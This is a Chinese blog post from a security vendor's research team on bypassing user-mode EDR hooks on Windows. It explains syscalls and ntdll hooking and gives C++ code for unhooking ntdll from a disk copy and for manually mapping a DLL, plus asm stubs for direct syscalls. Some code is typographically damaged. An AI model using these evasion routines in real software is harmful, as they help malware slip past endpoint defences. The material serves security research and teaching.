绕过EDR探索系列一 | 用户模式HOOK

admin 2024年1月16日10:01:19评论14 views字数 13761阅读45分52秒阅读模式

前言

山石网科情报中心在分析狩猎样本时,对一些EDR对抗技术做了技术沉淀。该系列将由浅入深介绍EDR相关安全对抗技术。

什么是 syscall

Windows下有两种处理器访问模式:用户模式(user mode)和内核模式(kernel mode)。用户模式下运行应用程序时,Windows 会为该程序创建一个新进程,提供一个私有虚拟地址空间和一个私有句柄表,因为私有,一个应用程序无法修改另一个应用程序的私有虚拟地址空间的数据;内核模式下,所有运行的代码都共享一个虚拟地址空间, 因此内核中驱动程序可能还会因为写入错误的地址空间导致其他驱动程序甚至系统出现错误。

内核中包含了大部分操作系统的内部数据结构,所以用户模式下的应用程序在访问这些数据结构或调用内部Windows例程以执行特权操作的时候,必须先从用户模式切换到内核模式,这里就涉及到系统调用。

  • x86 windows 使用 sysenter 实现系统调用。
  • x64 windows 使用 syscall 实现系统调用。

在 Windows 上,内核有一个允许从用户模式调用的函数表。这些函数有时称为系统服务、本机函数或 Nt 函数。它们是以 Nt 或 Zw 开头的函数,位于 ntoskrnl.exe 中。系统服务表称为系统服务描述符表,简称SSDT。应用程序通过将其 ID 存储到 eax 寄存器来告诉内核它想要调用哪个系统服务。系统服务 ID(通常称为系统服务号、系统调用号或简称为 SSN)是 SSDT 中函数条目的索引。因此,将 eax 设置为 0 将调用 SSDT 中的第一个函数,1 将调用第二个函数,2 将调用第三个函数,依此类推.... syscall指令使CPU切换到内核模式并调用系统调用处理程序,该处理程序从eax寄存器中获取SSN并调用相应的SSDT函数。

比如程序调用OpenProcess函数,我们可以查看kernelbase.dll!OpenProcess的反编译内容发现,它其实是对NtOpenProcess的封装:

绕过EDR探索系列一 | 用户模式HOOK

查看NtOpenprocess汇编代码如下,0x26是SSDT种SSN:

绕过EDR探索系列一 | 用户模式HOOK

在 NtOpenProcess() 内部,几乎没有任何代码。这是因为像所有以 Nt 或 Zw 开头的函数一样, NtOpenProcess() 实际上位于内核中。这些函数的 ntdll(用户模式)版本只是执行系统调用来调用其内核模式对应项,这就是它们通常被称为系统调用存根的原因。
所以简化的 x64 系统调用过程如下:

绕过EDR探索系列一 | 用户模式HOOK

从用户模式来看,函数的 Nt 和 Zw 版本是相同的。从内核模式来看,Zw 函数采取的路径略有不同。这是因为 Nt 函数被设计为从用户模式调用,因此需要对函数参数进行更广泛的验证。

EDRs 和用户模式 Hook

因为有 PatchGuard,所以安全产品通过hook SSDT 来监控内核内部的用户模式调用已经不行了,因此许多 EDR 开始hook ntdll。
如下视图所示:

绕过EDR探索系列一 | 用户模式HOOK

用户态Hook是什么样子?
前:
18009c570  4c8bd1             mov     r10, rcx 
18009c573 b826000000 mov eax, 0x26
18009c578 f604250803fe7f01 test byte [0x7ffe0308], 0x1
18009c580 7503 jne 0x18009c585 {0x7ffe0308}

18009c582 0f05 syscall
后:
NtOpenProcess: 
jmp 0x121432243 --> 跳转
mov r10, rcx
mov eax, 0x26
test byte [0x7ffe0308], 0x1
jne 0x18009c585
syscall

为了Hook ntdll.dll 中的函数,大多数 EDR 只是用 jmp 指令覆盖函数代码的前 5 个字节。jmp 指令会将代码执行重定向到 EDR 自己的 DLL 中的某些代码(自动加载到每个进程中)。CPU 被重定向到 EDR 的 DLL 后,EDR 可以通过检查函数参数和返回地址来执行安全检查。一旦 EDR 完成,它可以通过执行覆盖的指令来恢复 ntdll 调用,然后跳转到 ntdll 中钩子之后的位置(jmp 指令)。

以下是hook执行流:

绕过EDR探索系列一 | 用户模式HOOK

在上面的示例中,NtWriteFile 被Hook。绿色指令是 NtWriteFile 的原始指令。NtWriteFile 的前 3 条指令已被 EDR 的hook(将执行重定向到 edr.dll 中名为 NtWriteFile 的函数的 jmp)覆盖。每当EDR想要调用真正的NtWriteFile时,它就会执行3条被覆盖的指令,然后跳转到hook函数的第4条指令来完成系统调用。
不同供应商的 EDR Hook可能略有不同,但其原理仍然相同,并且都有相同的弱点:它们位于用户态。由于钩子和 EDR 的 DLL 都必须放置在每个进程的地址空间内,因此恶意进程可以篡改它们。

绕过 EDR HooKs

只是部分方案和思路梳理,并不提供具体代码。

EDR 脱钩

由于hook的ntdll位于我们自己进程的内存中,我们可以使用VirtualProtect()使内存可写,然后用原始函数代码覆盖EDR的jmp指令。为了更换hook,我们当然需要知道原始的代码是啥。最常见的方法是从磁盘读取 ntdll.dll 文件,然后将内存版本与磁盘版本进行比较。这是基于假设 EDR 不会检测或阻止从磁盘手动读取 ntdll.dll。

部分hook跳转示例:

__declspec(naked) void KiFastSystemCall() 

   
  __asm{ 
      cmp         eax,1 ;EAX保存着我们需要的函数的序号.我们跳..... 
      jz          Label 
      jmp         KiFastSystemCallEx 
      ;其他的返回原始KiFastSystemCall的地方,当然,原来的函数已经被我们JMP出来.需要特别处理 
Label: 
      add         esp,4 
      ;不再返回到原始的ZwAccessCheck函数里面.而是直接返回调用ZwAccessCheck的函数. 
      jmp         MyZwAccessCheck ; 
  } 
}
部分unhook代码示例:
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

int main()
{
    HANDLE process = GetCurrentProcess();
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\windows\system32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 00NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 000);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }

    CloseHandle(process);
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);

    return 0;
}

手动映射 DLL

我们可以将干净的ntdll副本加载到进程的内存中并使用它而不是原始内存中的,从磁盘读取 ntdll 的干净副本来使我们能够unhook原始 ntdll。LoadLibrary()和LdrLoadDll()不允许系统两次加载同一个DLL,所以我们必须手动加载它。手动映射 DLL 的代码可能会很广泛,并且还容易出现错误或检测。

DLL 通常还执行对其他 DLL 的调用,因此我们要么被限制为只能使用手动加载的 ntdll 中的函数,要么加载我们需要的每个 DLL 的第二个副本并修补它们以仅使用其他手动加载的 DLL,这可能会变得非常混乱。如果防病毒软件进行内存扫描并发现每个 DLL 的多个副本加载到内存中,那么也很有可能被检测到。

手动映射dll代码示例:

#include <Windows.h> 
#include <stdio.h> 
 
// 定义 PE 头结构 
typedef struct _IMAGE_NT_HEADERS { 
    DWORD Signature; 
    // 其他字段省略... 
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS; 
 
// 函数指针类型 
typedef FARPROC(WINAPI* GetProcAddress_t)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName)
typedef HMODULE(WINAPI* LoadLibraryA_t)(_In_ LPCSTR lpLibFileName)
typedef LPVOID(WINAPI* VirtualAlloc_t)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect)
 
// 加载 DLL 到内存的函数 
HMODULE ManualMapDll(const char* dllPath) 
    HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
    if (hFile == INVALID_HANDLE_VALUE) { 
        printf("Failed to open the file.n"); 
        return NULL
    } 
 
    DWORD dwFileSize = GetFileSize(hFile, NULL); 
    if (dwFileSize == INVALID_FILE_SIZE || dwFileSize == 0) { 
        CloseHandle(hFile); 
        printf("Failed to get the file size.n"); 
        return NULL
    } 
 
    LPVOID pFileData = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 
    if (pFileData == NULL) { 
        CloseHandle(hFile); 
        printf("Failed to allocate memory.n"); 
        return NULL
    } 
 
    DWORD bytesRead; 
    if (!ReadFile(hFile, pFileData, dwFileSize, &bytesRead, NULL) || bytesRead != dwFileSize) { 
        VirtualFree(pFileData, 0, MEM_RELEASE); 
        CloseHandle(hFile); 
        printf("Failed to read file data.n"); 
        return NULL
    } 
 
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileData + ((PIMAGE_DOS_HEADER)pFileData)->e_lfanew); 
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { 
        VirtualFree(pFileData, 0, MEM_RELEASE); 
        CloseHandle(hFile); 
        printf("Invalid PE file signature.n"); 
        return NULL
    } 
 
    LPVOID pImageBase = VirtualAlloc((LPVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
    if (pImageBase == NULL) { 
        VirtualFree(pFileData, 0, MEM_RELEASE); 
        CloseHandle(hFile); 
        printf("Failed to allocate memory for image base.n"); 
        return NULL
    } 
 
    // 复制 PE 文件到内存 
    memcpy(pImageBase, pFileData, pNtHeaders->OptionalHeader.SizeOfHeaders); 
 
    // 复制节区到内存 
    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1); 
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { 
        memcpy((LPVOID)((BYTE*)pImageBase + pSectionHeader[i].VirtualAddress), (LPVOID)((BYTE*)pFileData + pSectionHeader[i].PointerToRawData), pSectionHeader[i].SizeOfRawData); 
    } 
 
    // 更新重定位表 
    if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size > 0) { 
        DWORD delta = (DWORD)((BYTE*)pImageBase - pNtHeaders->OptionalHeader.ImageBase); 
        PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pImageBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 
        while (pBaseReloc->VirtualAddress != 0) { 
            DWORD numEntries = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 
            PWORD pRelocs = (PWORD)(pBaseReloc + 1); 
            for (DWORD i = 0; i < numEntries; i++) { 
                if ((pRelocs[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) { 
                    DWORD* pPatch = (DWORD*)((BYTE*)pImageBase + pBaseReloc->VirtualAddress + (pRelocs[i] & 0xFFF)); 
                    *pPatch += delta; 
                } 
            } 
            pBaseReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pBaseReloc + pBaseReloc->SizeOfBlock); 
        } 
    } 
 
    // 更新导入表 
    if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) { 
        PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)pImageBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 
        while (pImportDescriptor->Name != 0) { 
            char* moduleName = (char*)((BYTE*)pImageBase + pImportDescriptor->Name); 
            HMODULE hModule = LoadLibraryA(moduleName); 
            if (hModule == NULL) { 
                printf("Failed to load dependent module: %sn", moduleName); 
                VirtualFree(pImageBase, 0, MEM_RELEASE); 
                VirtualFree(pFileData, 0, MEM_RELEASE); 
                CloseHandle(hFile); 
                return NULL
            } 
 
            PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)pImageBase + pImportDescriptor->FirstThunk); 
            while (pThunk->u1.AddressOfData != 0) { 
                if (IMAGE_SNAP_BY_ORDINAL(pThunk->u1.Ordinal)) { 
                    FARPROC procAddress = GetProcAddress(hModule, (LPCSTR)IMAGE_ORDINAL(pThunk->u1.Ordinal)); 
                    if (procAddress == NULL) { 
                        printf("Failed to get function address by ordinal.n"); 
                        VirtualFree(pImageBase, 0, MEM_RELEASE); 
                        VirtualFree(pFileData, 0, MEM_RELEASE); 
                        CloseHandle(hFile); 
                        return NULL
                    } 
                    pThunk->u1.Function = (DWORD)procAddress; 
                } 
                else { 
                    PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)((BYTE*)pImageBase + pThunk->u1.AddressOfData); 
                    FARPROC procAddress = GetProcAddress(hModule, (LPCSTR)pImportByName->Name); 
                    if (procAddress == NULL) { 
                        printf("Failed to get function address by name.n"); 
                        VirtualFree(pImageBase, 0, MEM_RELEASE); 
                        VirtualFree(pFileData, 0, MEM_RELEASE); 
                        CloseHandle(hFile); 
                        return NULL 
      } 
                    pThunk->u1.Function = (DWORD)procAddress; 
                } 
                pThunk++; 
            } 
 
            pImportDescriptor++; 
        } 
    } 
 
    // 执行 TLS 回调 
    if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size > 0) { 
        PIMAGE_TLS_DIRECTORY pTlsDirectory = (PIMAGE_TLS_DIRECTORY)((BYTE*)pImageBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress); 
        if (pTlsDirectory->AddressOfCallBacks != NULL) { 
            PDWORD pCallback = (PDWORD)(pTlsDirectory->AddressOfCallBacks); 
            while (*pCallback != NULL) { 
                PDLL_ENTRY_POINT pEntryPoint = (PDLL_ENTRY_POINT)(*pCallback); 
                pEntryPoint(); 
                pCallback++; 
            } 
        } 
    } 
 
    // 设置程序入口点 
    DWORD entryPointOffset = pNtHeaders->OptionalHeader.AddressOfEntryPoint; 
    DWORD entryPointRVA = pNtHeaders->OptionalHeader.BaseOfCode + entryPointOffset; 
    FARPROC entryPoint = (FARPROC)((BYTE*)pImageBase + entryPointRVA); 
 
    // 跳转到程序入口点 
    __asm { 
        pushad 
        pushfd 
 
        mov eax, entryPoint 
        call eax 
 
        popfd 
        popad 
    } 
 
    return (HMODULE)pImageBase; 

 
int main() 
    const char* dllPath = "C:\Path\To\Your.dll"
    HMODULE hModule = ManualMapDll(dllPath); 
 
    if (hModule != NULL) { 
        printf("DLL successfully mapped!n"); 
 
        // 可以在这里调用 DLL 中的函数,通过 GetProcAddress 获取函数地址 
 
        // 卸载 DLL 
        FreeLibrary(hModule); 
    } 
 
    return 0
}

直接系统调用

如前所述,用户模式 Nt/Zw 函数除了执行系统调用之外实际上不执行任何操作。因此,我们实际上并不需要为了执行一些系统调用而映射整个新的 ntdll 副本。相反,我们可以将系统调用逻辑直接实现到我们自己的代码中。我们需要做的就是将我们要调用的函数的SSN移动到eax寄存器中,然后执行syscall指令。
这很简单
__asm { 
  mov r10, rcx 
  mov eax, 0x123 
  syscall 
  ret 
}
因为 EDR 的钩子通常会覆盖设置 eax 寄存器的指令,所以我们不能简单地从钩子函数中提取它。但是……我们可以通过几种方法找出它是什么。以下是一些思路,不保证一定可行:

01

读取 ntdll 的干净副本

直接读取mov eax, imm32指令,找到我们需要的SSN

02

根据函数顺序计算系统调用号

系统调用 ID 是索引,因此是连续的。如果我们要调用的函数的 SSN 是 0x18,那么它前面的那个可能是 0x17,后面那个可能是 0x19。由于 EDR 不会挂钩每个 Nt 函数,因此我们可以简单地从最近的未挂钩函数中获取 SSN,然后通过添加或减去它与目标函数之间的函数数量来计算我们想要的函数。
但这种方法确实有一个缺陷:我们不能 100% 保证系统调用号永远保持连续,或者 DLL 不会跳过一些。

03

硬编码

最简单的方法是对系统调用号进行硬编码。虽然它们确实随着版本的不同而发生变化,但过去并没有发生很大的变化。检测操作系统版本并加载正确的 SSN 集并不需要太多工作。j00ru 已经发布了每个 Windows 版本的每个系统调用号的列表https://j00ru.vexillium.org/syscalls/nt/64)。此方法的唯一缺点是,如果系统调用号发生更改,代码可能无法在新的 Windows 版本上自动运行。

绕过EDR探索系列一 | 用户模式HOOK

间接系统调用

大多数 EDR 在 Nt 函数的开头编写钩子,覆盖 SSN 但保持系统调用指令不变。这允许我们利用 ntdll 已经提供的系统调用指令,而不是自己写。我们可以自己设置 r10 和 eax 寄存器,然后跳转到hook的 ntdll 函数(位于 EDR 挂钩之后)内的系统调用指令。

绕过EDR探索系列一 | 用户模式HOOK

上述test和jnz是为了兼容老系统,做检查是否支持syscall,实际我们不需要这两个指令也ok。

总结

山石网科情报中心,涵盖威胁情报狩猎运维和入侵检测与防御团队。 山石网科情报中心专注于保护数字世界的安全。以情报狩猎、攻击溯源和威胁分析为核心,团队致力于预防潜在攻击、应对安全事件。山石网科情报中心汇集网络安全、计算机科学、数据分析等专家,多学科融合确保全面的威胁分析。我们积极创新,采用新工具和技术提升分析效率。团队协同合作,分享信息与见解,追求卓越,为客户保驾护航。无论是防范未来威胁还是应对当下攻击,我们努力确保数字世界安全稳定。其中山石网科网络入侵检测防御系统,是山石网科公司结合多年应用安全的攻防理论和应急响应实践经验积累的基础上自主研发完成,满足各类法律法规如 PCI、等级保护、企业内部控制规范等要求。

山石云瞻威胁情报中心:

https://ti.hillstonenet.com.cn/

绕过EDR探索系列一 | 用户模式HOOK

山石云影沙箱:
https://sandbox.hillstonenet.com.cn/

绕过EDR探索系列一 | 用户模式HOOK

参考链接

https://cloud.tencent.com/developer/article/1922129
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://blog.csdn.net/cqyczj/article/details/24449053
https://j00ru.vexillium.org/syscalls/nt/64/
https://malwaretech.com/2023/12/an-introduction-to-bypassing-user-mode-edr-hooks.html

原文始发于微信公众号(山石网科安全技术研究院):绕过EDR探索系列一 | 用户模式HOOK

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月16日10:01:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过EDR探索系列一 | 用户模式HOOKhttp://cn-sec.com/archives/2395616.html

发表评论

匿名网友 填写信息